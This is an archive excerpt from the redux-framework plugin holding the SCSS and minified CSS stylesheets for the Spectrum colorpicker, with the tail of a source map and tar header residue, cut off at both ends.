CX,OAAO,EAAE,CAAC;;AAGd,WAAY;EACR,MAAM,EAAE,KAAK;EACb,SAAS,EAAE,KAAK;;AAGpB,wBAAyB;EACrB,KAAK,EAAE,IAAI;EACX,MAAM,EAAE,IAAI;EACZ,MAAM,EAAE,OAAO;EACf,MAAM,EAAE,iBAAiB;;AAG7B,aAAc;EACV,cAAc,EAAE,CAAC;;AAGrB,kDAAkD;AAClD,oBAAqB;EACjB,gBAAgB,EAAE,OAAO;EACzB,gBAAgB,EAAE,8CAA8C;EAChE,gBAAgB,EAAE,2CAA2C;EAC7D,gBAAgB,EAAE,0CAA0C;EAC5D,gBAAgB,EAAE,yCAAyC;EAC3D,gBAAgB,EAAE,4CAA4C;EAC9D,MAAM,EAAE,cAAc;EACtB,aAAa,EAAE,cAAc;EAC7B,aAAa,EAAE,GAAG;EAClB,KAAK,EAAE,IAAI;EACX,SAAS,EAAE,IAAI;EACf,WAAW,EAAE,CAAC;EACd,OAAO,EAAE,OAAO;EAChB,UAAU,EAAE,MAAM;EAClB,WAAW,EAAE,YAAY;EACzB,cAAc,EAAE,MAAM;;AAG1B,0BAA2B;EACvB,gBAAgB,EAAE,OAAO;EACzB,gBAAgB,EAAE,8CAA8C;EAChE,gBAAgB,EAAE,2CAA2C;EAC7D,gBAAgB,EAAE,0CAA0C;EAC5D,gBAAgB,EAAE,yCAAyC;EAC3D,gBAAgB,EAAE,4CAA4C;EAC9D,MAAM,EAAE,cAAc;EACtB,aAAa,EAAE,cAAc;EAC7B,MAAM,EAAE,OAAO;EACf,WAAW,EAAE,YAAY;;AAG7B,2BAA4B;EACxB,MAAM,EAAE,cAAc;EACtB,aAAa,EAAE,cAAc;EAC7B,kBAAkB,EAAE,4CAA4C;EAChE,eAAe,EAAE,4CAA4C;EAC7D,cAAc,EAAE,4CAA4C;EAC5D,aAAa,EAAE,4CAA4C;EAC3D,UAAU,EAAE,4CAA4C;;AAG5D,UAAW;EACP,SAAS,EAAE,IAAI;EACf,KAAK,EAAE,kBAAkB;EACzB,MAAM,EAAE,CAAC;EACT,OAAO,EAAE,GAAG;EACZ,YAAY,EAAE,GAAG;EACjB,cAAc,EAAE,MAAM;EACtB,eAAe,EAAE,IAAI;;AAIzB,gBAAiB;EACb,KAAK,EAAE,kBAAkB;EACzB,eAAe,EAAE,SAAS;;AAG9B,wDAAyD;EACrD,YAAY,EAAE,IAAI;;AAGtB,oCAAqC;EACjC,QAAQ,EAAE,QAAQ;EAClB,gBAAgB,EAAE,2IAA2I;;AAGjK,mDAAoD;EAChD,OAAO,EAAE,KAAK;EACd,QAAQ,EAAE,QAAQ;EAClB,GAAG,EAAE,CAAC;EACN,IAAI,EAAE,CAAC;EACP,MAAM,EAAE,CAAC;EACT,KAAK,EAAE,CAAC;;AAGZ,2BAA4B;EACxB,mBAAmB,EAAE,OAAO;EAC5B,iBAAiB,EAAE,SAAS;;AAGhC,2DAA4D;EACxD,gBAAgB,EAAE,2UAA2U;;AAGjW,0DAA2D;EACvD,gBAAgB,EAAE,ueAAue;;AAG7f,iBAAkB;EACd,iBAAiB,EAAE,SAAS;EAC5B,mBAAmB,EAAE,MAAM;EAC3B,gBAAgB,EAAE,myCAAmyC", "sources": ["redux-spectrum.scss"], "names": [], "file": "redux-spectrum.css" }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/spectrum/redux-spectrum.scss��������������������������������������0000644�����������������00000035457�14720701300�0021013 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*** Spectrum Colorpicker v1.5.1 https://github.com/bgrins/spectrum Author: Brian Grinstead License: MIT ***/ .sp-container { position: absolute; top: 0; left: 0; display: inline-block; *display: inline; *zoom: 1; /* https://github.com/bgrins/spectrum/issues/40 */ z-index: 9999994; overflow: hidden; } .sp-container.sp-flat { position: relative; } /* Fix for * { box-sizing: border-box; } */ .sp-container, .sp-container * { -webkit-box-sizing: content-box; -moz-box-sizing: content-box; box-sizing: content-box; } /* http://ansciath.tumblr.com/post/7347495869/css-aspect-ratio */ .sp-top { position: relative; width: 100%; display: inline-block; } .sp-top-inner { position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .sp-color { position: absolute; top: 0; left: 0; bottom: 0; right: 20%; } .sp-hue { position: absolute; top: 0; right: 0; bottom: 0; left: 84%; height: 100%; } .sp-clear-enabled .sp-hue { top: 33px; height: 77.5%; } .sp-fill { padding-top: 80%; } .sp-sat, .sp-val { position: absolute; top: 0; left: 0; right: 0; bottom: 0; } .sp-alpha-enabled .sp-top { margin-bottom: 18px; } .sp-alpha-enabled .sp-alpha { display: block; } .sp-alpha-handle { position: absolute; top: -4px; bottom: -4px; width: 6px; left: 50%; cursor: pointer; border: 1px solid black; background: white; opacity: .8; } .sp-alpha { display: none; position: absolute; bottom: -14px; right: 0; left: 0; height: 8px; } .sp-alpha-inner { border: solid 1px #333; } .sp-clear { display: none; } .sp-clear.sp-clear-display { background-position: center; } .sp-clear-enabled .sp-clear { display: block; position: absolute; top: 0px; right: 0; bottom: 0; left: 84%; height: 28px; } /* Don't allow text selection */ .sp-container, .sp-replacer, .sp-preview, .sp-dragger, .sp-slider, .sp-alpha, .sp-clear, .sp-alpha-handle, .sp-container.sp-dragging .sp-input, .sp-container button { -webkit-user-select: none; -moz-user-select: -moz-none; -o-user-select: none; user-select: none; } .sp-container.sp-input-disabled .sp-input-container { display: none; } .sp-container.sp-buttons-disabled .sp-button-container { display: none; } .sp-container.sp-palette-buttons-disabled .sp-palette-button-container { display: none; } .sp-palette-only .sp-picker-container { display: none; } .sp-palette-disabled .sp-palette-container { display: none; } .sp-initial-disabled .sp-initial { display: none; } /* Gradients for hue, saturation and value instead of images. Not pretty... but it works */ .sp-sat { background-image: -webkit-gradient(linear, 0 0, 100% 0, from(#FFF), to(rgba(204, 154, 129, 0))); background-image: -webkit-linear-gradient(left, #FFF, rgba(204, 154, 129, 0)); background-image: -moz-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); background-image: -o-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); background-image: -ms-linear-gradient(left, #fff, rgba(204, 154, 129, 0)); background-image: linear-gradient(to right, #fff, rgba(204, 154, 129, 0)); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)"; filter: progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr='#FFFFFFFF', endColorstr='#00CC9A81'); } .sp-val { background-image: -webkit-gradient(linear, 0 100%, 0 0, from(#000000), to(rgba(204, 154, 129, 0))); background-image: -webkit-linear-gradient(bottom, #000000, rgba(204, 154, 129, 0)); background-image: -moz-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); background-image: -o-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); background-image: -ms-linear-gradient(bottom, #000, rgba(204, 154, 129, 0)); background-image: linear-gradient(to top, #000, rgba(204, 154, 129, 0)); -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)"; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81', endColorstr='#FF000000'); } .sp-hue { background: -moz-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: -ms-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: -o-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: -webkit-gradient(linear, left top, left bottom, from(#ff0000), color-stop(0.17, #ffff00), color-stop(0.33, #00ff00), color-stop(0.5, #00ffff), color-stop(0.67, #0000ff), color-stop(0.83, #ff00ff), to(#ff0000)); background: -webkit-linear-gradient(top, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); background: linear-gradient(to bottom, #ff0000 0%, #ffff00 17%, #00ff00 33%, #00ffff 50%, #0000ff 67%, #ff00ff 83%, #ff0000 100%); } /* IE filters do not support multiple color stops. Generate 6 divs, line them up, and do two color gradients for each. Yes, really. */ .sp-1 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0000', endColorstr='#ffff00'); } .sp-2 { height: 16%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff00', endColorstr='#00ff00'); } .sp-3 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ff00', endColorstr='#00ffff'); } .sp-4 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffff', endColorstr='#0000ff'); } .sp-5 { height: 16%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#0000ff', endColorstr='#ff00ff'); } .sp-6 { height: 17%; filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff', endColorstr='#ff0000'); } .sp-hidden { display: none !important; } /* Clearfix hack */ .sp-cf:before, .sp-cf:after { content: ""; display: table; } .sp-cf:after { clear: both; } .sp-cf { *zoom: 1; } /* Mobile devices, make hue slider bigger so it is easier to slide */ @media (max-device-width: 480px) { .sp-color { right: 40%; } .sp-hue { left: 63%; } .sp-fill { padding-top: 60%; } } .sp-dragger { border-radius: 5px; height: 5px; width: 5px; border: 1px solid #fff; background: #000; cursor: pointer; position: absolute; top: 0; left: 0; } .sp-slider { position: absolute; top: 0; cursor: pointer; height: 3px; left: -1px; right: -1px; border: 1px solid #000; background: white; opacity: .8; } /* Theme authors: Here are the basic themeable display options (colors, fonts, global widths). See http://bgrins.github.io/spectrum/themes/ for instructions. */ .sp-container { border-radius: 0; background-color: #ECECEC; border: solid 1px #f0c49B; padding: 0; } .sp-container, .sp-container button, .sp-container input, .sp-color, .sp-hue, .sp-clear { font: normal 12px "Lucida Grande", "Lucida Sans Unicode", "Lucida Sans", Geneva, Verdana, sans-serif; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; -ms-box-sizing: border-box; box-sizing: border-box; } .sp-top { margin-bottom: 3px; } .sp-color, .sp-hue, .sp-clear { border: solid 1px #666; } /* Input */ .sp-input-container { float: right; width: 100px; margin-bottom: 4px; } .sp-initial-disabled .sp-input-container { width: 100%; } .sp-input { font-size: 12px !important; border: 1px inset; padding: 4px 5px; margin: 0; width: 100%; background: transparent; border-radius: 3px; color: #222; } .sp-input:focus { border: 1px solid orange; } .sp-input.sp-validation-error { border: 1px solid red; background: #fdd; } .sp-picker-container, .sp-palette-container { float: left; position: relative; padding: 10px; padding-bottom: 300px; margin-bottom: -290px; } .sp-picker-container { width: 172px; border-left: solid 1px #fff; } /* Palettes */ .sp-palette-container { border-right: solid 1px #ccc; } .sp-palette-only .sp-palette-container { border: 0; } .sp-palette .sp-thumb-el { display: block; position: relative; float: left; width: 24px; height: 15px; margin: 3px; cursor: pointer; border: solid 2px transparent; } .sp-palette .sp-thumb-el:hover, .sp-palette .sp-thumb-el.sp-thumb-active { border-color: orange; } .sp-thumb-el { position: relative; } /* Initial */ .sp-initial { float: left; border: solid 1px #333; } .sp-initial span { width: 30px; height: 25px; border: none; display: block; float: left; margin: 0; } .sp-initial .sp-clear-display { background-position: center; } /* Buttons */ .sp-palette-button-container, .sp-button-container { float: right; } /* Replacer (the little preview div that shows up instead of the <input>) */ .sp-replacer { margin: 0; overflow: hidden; cursor: pointer; padding: 4px; display: inline-block; *zoom: 1; *display: inline; border: solid 1px #91765d; background: #eee; color: #333; vertical-align: middle; } .sp-replacer:hover, .sp-replacer.sp-active { border-color: #F0C49B; color: #111; } .sp-replacer.sp-disabled { cursor: default; border-color: silver; color: silver; } .sp-dd { padding: 2px 0; height: 16px; line-height: 16px; float: left; font-size: 10px; } .sp-preview { position: relative; width: 25px; height: 20px; border: solid 1px #222; margin-right: 5px; float: left; z-index: 0; } .sp-palette { *width: 220px; max-width: 220px; } .sp-palette .sp-thumb-el { width: 16px; height: 16px; margin: 2px 1px; border: solid 1px #d0d0d0; } .sp-container { padding-bottom: 0; } /* Buttons: http://hellohappy.org/css3-buttons/ */ .sp-container button { background-color: #eeeeee; background-image: -webkit-linear-gradient(top, #eeeeee, #cccccc); background-image: -moz-linear-gradient(top, #eeeeee, #cccccc); background-image: -ms-linear-gradient(top, #eeeeee, #cccccc); background-image: -o-linear-gradient(top, #eeeeee, #cccccc); background-image: linear-gradient(to bottom, #eeeeee, #cccccc); border: 1px solid #ccc; border-bottom: 1px solid #bbb; border-radius: 3px; color: #333; font-size: 14px; line-height: 1; padding: 5px 4px; text-align: center; text-shadow: 0 1px 0 #eee; vertical-align: middle; } .sp-container button:hover { background-color: #dddddd; background-image: -webkit-linear-gradient(top, #dddddd, #bbbbbb); background-image: -moz-linear-gradient(top, #dddddd, #bbbbbb); background-image: -ms-linear-gradient(top, #dddddd, #bbbbbb); background-image: -o-linear-gradient(top, #dddddd, #bbbbbb); background-image: linear-gradient(to bottom, #dddddd, #bbbbbb); border: 1px solid #bbb; border-bottom: 1px solid #999; cursor: pointer; text-shadow: 0 1px 0 #ddd; } .sp-container button:active { border: 1px solid #aaa; border-bottom: 1px solid #888; -webkit-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -moz-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -ms-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; -o-box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; box-shadow: inset 0 0 5px 2px #aaaaaa, 0 1px 0 0 #eeeeee; } .sp-cancel { font-size: 11px; color: #d93f3f !important; margin: 0; padding: 2px; margin-right: 5px; vertical-align: middle; text-decoration: none; } .sp-cancel:hover { color: #d93f3f !important; text-decoration: underline; } .sp-palette span:hover, .sp-palette span.sp-thumb-active { border-color: #000; } .sp-preview, .sp-alpha, .sp-thumb-el { position: relative; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==); } .sp-preview-inner, .sp-alpha-inner, .sp-thumb-inner { display: block; position: absolute; top: 0; left: 0; bottom: 0; right: 0; } .sp-palette .sp-thumb-inner { background-position: 50% 50%; background-repeat: no-repeat; } .sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=); } .sp-palette .sp-thumb-dark.sp-thumb-active .sp-thumb-inner { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAMdJREFUOE+tkgsNwzAMRMugEAahEAahEAZhEAqlEAZhEAohEAYh81X2dIm8fKpEspLGvudPOsUYpxE2BIJCroJmEW9qJ+MKaBFhEMNabSy9oIcIPwrB+afvAUFoK4H0tMaQ3XtlrggDhOVVMuT4E5MMG0FBbCEYzjYT7OxLEvIHQLY2zWwQ3D+9luyOQTfKDiFD3iUIfPk8VqrKjgAiSfGFPecrg6HN6m/iBcwiDAo7WiBeawa+Kwh7tZoSCGLMqwlSAzVDhoK+6vH4G0P5wdkAAAAASUVORK5CYII=); } .sp-clear-display { background-repeat: no-repeat; background-position: center; background-image: url(data:image/gif;base64,R0lGODlhFAAUAPcAAAAAAJmZmZ2dnZ6enqKioqOjo6SkpKWlpaampqenp6ioqKmpqaqqqqurq/Hx8fLy8vT09PX19ff39/j4+Pn5+fr6+vv7+wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAP8ALAAAAAAUABQAAAihAP9FoPCvoMGDBy08+EdhQAIJCCMybCDAAYUEARBAlFiQQoMABQhKUJBxY0SPICEYHBnggEmDKAuoPMjS5cGYMxHW3IiT478JJA8M/CjTZ0GgLRekNGpwAsYABHIypcAgQMsITDtWJYBR6NSqMico9cqR6tKfY7GeBCuVwlipDNmefAtTrkSzB1RaIAoXodsABiZAEFB06gIBWC1mLVgBa0AAOw==); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/assets/css/vendor/spectrum/redux-spectrum.css���������������������������������������0000644�����������������00000026513�14720701300�0020621 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.sp-container{position:absolute;top:0;left:0;display:inline-block;*display:inline;*zoom:1;z-index:9999994;overflow:hidden}.sp-container.sp-flat{position:relative}.sp-container,.sp-container *{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.sp-top{position:relative;width:100%;display:inline-block}.sp-top-inner{position:absolute;top:0;left:0;bottom:0;right:0}.sp-color{position:absolute;top:0;left:0;bottom:0;right:20%}.sp-hue{position:absolute;top:0;right:0;bottom:0;left:84%;height:100%}.sp-clear-enabled .sp-hue{top:33px;height:77.5%}.sp-fill{padding-top:80%}.sp-sat,.sp-val{position:absolute;top:0;left:0;right:0;bottom:0}.sp-alpha-enabled .sp-top{margin-bottom:18px}.sp-alpha-enabled .sp-alpha{display:block}.sp-alpha-handle{position:absolute;top:-4px;bottom:-4px;width:6px;left:50%;cursor:pointer;border:1px solid black;background:white;opacity:.8}.sp-alpha{display:none;position:absolute;bottom:-14px;right:0;left:0;height:8px}.sp-alpha-inner{border:solid 1px #333}.sp-clear{display:none}.sp-clear.sp-clear-display{background-position:center}.sp-clear-enabled .sp-clear{display:block;position:absolute;top:0;right:0;bottom:0;left:84%;height:28px}.sp-container,.sp-replacer,.sp-preview,.sp-dragger,.sp-slider,.sp-alpha,.sp-clear,.sp-alpha-handle,.sp-container.sp-dragging .sp-input,.sp-container button{-webkit-user-select:none;-moz-user-select:-moz-none;-o-user-select:none;user-select:none}.sp-container.sp-input-disabled .sp-input-container{display:none}.sp-container.sp-buttons-disabled .sp-button-container{display:none}.sp-container.sp-palette-buttons-disabled .sp-palette-button-container{display:none}.sp-palette-only .sp-picker-container{display:none}.sp-palette-disabled .sp-palette-container{display:none}.sp-initial-disabled .sp-initial{display:none}.sp-sat{background-image:-webkit-gradient(linear,0 0,100% 0,from(#FFF),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(left,#FFF,rgba(204,154,129,0));background-image:-moz-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-o-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:-ms-linear-gradient(left,#fff,rgba(204,154,129,0));background-image:linear-gradient(to right,#fff,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(GradientType = 1, startColorstr=#FFFFFFFF, endColorstr=#00CC9A81)";filter:progid:DXImageTransform.Microsoft.gradient(GradientType = 1,startColorstr='#FFFFFFFF',endColorstr='#00CC9A81')}.sp-val{background-image:-webkit-gradient(linear,0 100%,0 0,from(#000),to(rgba(204,154,129,0)));background-image:-webkit-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-moz-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-o-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:-ms-linear-gradient(bottom,#000,rgba(204,154,129,0));background-image:linear-gradient(to top,#000,rgba(204,154,129,0));-ms-filter:"progid:DXImageTransform.Microsoft.gradient(startColorstr=#00CC9A81, endColorstr=#FF000000)";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00CC9A81',endColorstr='#FF000000')}.sp-hue{background:-moz-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:-ms-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:-o-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:-webkit-gradient(linear,left top,left bottom,from(#f00),color-stop(0.17,#ff0),color-stop(0.33,#0f0),color-stop(0.5,#0ff),color-stop(0.67,#00f),color-stop(0.83,#f0f),to(#f00));background:-webkit-linear-gradient(top,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%);background:linear-gradient(to bottom,#f00 0,#ff0 17%,#0f0 33%,#0ff 50%,#00f 67%,#f0f 83%,#f00 100%)}.sp-1{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0000',endColorstr='#ffff00')}.sp-2{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffff00',endColorstr='#00ff00')}.sp-3{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ff00',endColorstr='#00ffff')}.sp-4{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#00ffff',endColorstr='#0000ff')}.sp-5{height:16%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#0000ff',endColorstr='#ff00ff')}.sp-6{height:17%;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00ff',endColorstr='#ff0000')}.sp-hidden{display:none !important}.sp-cf:before,.sp-cf:after{content:"";display:table}.sp-cf:after{clear:both}.sp-cf{*zoom:1}@media(max-device-width:480px){.sp-color{right:40%}.sp-hue{left:63%}.sp-fill{padding-top:60%}}.sp-dragger{border-radius:5px;height:5px;width:5px;border:1px solid #fff;background:#000;cursor:pointer;position:absolute;top:0;left:0}.sp-slider{position:absolute;top:0;cursor:pointer;height:3px;left:-1px;right:-1px;border:1px solid #000;background:white;opacity:.8}.sp-container{border-radius:0;background-color:#ececec;border:solid 1px #f0c49b;padding:0}.sp-container,.sp-container button,.sp-container input,.sp-color,.sp-hue,.sp-clear{font:normal 12px "Lucida Grande","Lucida Sans Unicode","Lucida Sans",Geneva,Verdana,sans-serif;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.sp-top{margin-bottom:3px}.sp-color,.sp-hue,.sp-clear{border:solid 1px #666}.sp-input-container{float:right;width:100px;margin-bottom:4px}.sp-initial-disabled .sp-input-container{width:100%}.sp-input{font-size:12px !important;border:1px inset;padding:4px 5px;margin:0;width:100%;background:transparent;border-radius:3px;color:#222}.sp-input:focus{border:1px solid orange}.sp-input.sp-validation-error{border:1px solid red;background:#fdd}.sp-picker-container,.sp-palette-container{float:left;position:relative;padding:10px;padding-bottom:300px;margin-bottom:-290px}.sp-picker-container{width:172px;border-left:solid 1px #fff}.sp-palette-container{border-right:solid 1px #ccc}.sp-palette-only .sp-palette-container{border:0}.sp-palette .sp-thumb-el{display:block;position:relative;float:left;width:24px;height:15px;margin:3px;cursor:pointer;border:solid 2px transparent}.sp-palette .sp-thumb-el:hover,.sp-palette .sp-thumb-el.sp-thumb-active{border-color:orange}.sp-thumb-el{position:relative}.sp-initial{float:left;border:solid 1px #333}.sp-initial span{width:30px;height:25px;border:0;display:block;float:left;margin:0}.sp-initial .sp-clear-display{background-position:center}.sp-palette-button-container,.sp-button-container{float:right}.sp-replacer{margin:0;overflow:hidden;cursor:pointer;padding:4px;display:inline-block;*zoom:1;*display:inline;border:solid 1px #91765d;background:#eee;color:#333;vertical-align:middle}.sp-replacer:hover,.sp-replacer.sp-active{border-color:#f0c49b;color:#111}.sp-replacer.sp-disabled{cursor:default;border-color:silver;color:silver}.sp-dd{padding:2px 0;height:16px;line-height:16px;float:left;font-size:10px}.sp-preview{position:relative;width:25px;height:20px;border:solid 1px #222;margin-right:5px;float:left;z-index:0}.sp-palette{*width:220px;max-width:220px}.sp-palette .sp-thumb-el{width:16px;height:16px;margin:2px 1px;border:solid 1px #d0d0d0}.sp-container{padding-bottom:0}.sp-container button{background-color:#eee;background-image:-webkit-linear-gradient(top,#eee,#ccc);background-image:-moz-linear-gradient(top,#eee,#ccc);background-image:-ms-linear-gradient(top,#eee,#ccc);background-image:-o-linear-gradient(top,#eee,#ccc);background-image:linear-gradient(to bottom,#eee,#ccc);border:1px solid #ccc;border-bottom:1px solid #bbb;border-radius:3px;color:#333;font-size:14px;line-height:1;padding:5px 4px;text-align:center;text-shadow:0 1px 0 #eee;vertical-align:middle}.sp-container button:hover{background-color:#ddd;background-image:-webkit-linear-gradient(top,#ddd,#bbb);background-image:-moz-linear-gradient(top,#ddd,#bbb);background-image:-ms-linear-gradient(top,#ddd,#bbb);background-image:-o-linear-gradient(top,#ddd,#bbb);background-image:linear-gradient(to bottom,#ddd,#bbb);border:1px solid #bbb;border-bottom:1px solid #999;cursor:pointer;text-shadow:0 1px 0 #ddd}.sp-container button:active{border:1px solid #aaa;border-bottom:1px solid #888;-webkit-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-moz-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-ms-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;-o-box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee;box-shadow:inset 0 0 5px 2px #aaa,0 1px 0 0 #eee}.sp-cancel{font-size:11px;color:#d93f3f !important;margin:0;padding:2px;margin-right:5px;vertical-align:middle;text-decoration:none}.sp-cancel:hover{color:#d93f3f !important;text-decoration:underline}.sp-palette span:hover,.sp-palette span.sp-thumb-active{border-color:#000}.sp-preview,.sp-alpha,.sp-thumb-el{position:relative;background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.sp-preview-inner,.sp-alpha-inner,.sp-thumb-inner{display:block;position:absolute;top:0;left:0;bottom:0;right:0}.sp-palette .sp-thumb-inner{background-position:50% 50%;background-repeat:no-repeat}.sp-palette .sp-thumb-light.sp-thumb-active .sp-thumb-inner{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAIVJREFUeNpiYBhsgJFMffxAXABlN5JruT4Q3wfi/0DsT64h8UD8HmpIPCWG/KemIfOJCUB+Aoacx6EGBZyHBqI+WsDCwuQ9mhxeg2A210Ntfo8klk9sOMijaURm7yc1UP2RNCMbKE9ODK1HM6iegYLkfx8pligC9lCD7KmRof0ZhjQACDAAceovrtpVBRkAAAAASUVORK5CYII=)}.sp-palette .sp-thumb-dark.sp-thumb-active 